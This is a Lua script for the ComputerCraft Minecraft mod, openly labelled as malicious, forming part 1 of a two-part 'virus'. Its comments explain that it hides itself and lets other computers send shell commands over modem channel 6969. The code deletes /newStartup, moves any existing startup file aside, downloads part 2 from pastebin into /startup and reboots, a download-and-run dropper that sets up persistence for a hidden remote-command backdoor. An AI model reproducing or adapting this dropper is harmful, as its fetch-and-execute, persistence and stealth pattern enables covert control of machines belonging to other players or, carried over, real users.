ComputerCraft "Virus" - Part 1

--This program is to be considered as malicious.
--It will use TLCO to get to the top level, hide itself and allow computers to execute commands remotely
--by using the modem API. The reason it uses TLCO is that 1. it is easier to let it hide itself with that and
--2. we can easily hide all of the modem messages that are directed towards that payload.

--HOW TO USE:
--  * Use another computer and wrap the modem using the peripheral API (RedNet does not work)
--  * Send shell commands on channel 6969 and have fun!

--NOTE:
--  This is "part 1" of the "virus".
--  Part 1 is supposed to be ran for the first time only,
--  it basically downloads part 2, checks whether a "startup" file already exists and moves it to
--  "newStartup" if it does, moves and renames part 2 to /startup, and starts it up.
--
--  Part 2 actually modifies the fs API to hide itself and contains the actual "virus"
--  You basically have to "pastebin run [...]" this program, not download it.


--Download part 2, check for /startup (move to /newStartup if it exists), move part 2 to /startup and boot it
if fs.exists("/startup") then
    --Notice that if /newStartup already exists, it gets deleted (well this is malicious software anyway so I don't care about that)
    if fs.exists("/newStartup") then fs.delete("/newStartup") end
    fs.move("/startup", "/newStartup")
end

--Download and run part 2
shell.run("pastebin get HvzHBEYC /startup")
os.reboot()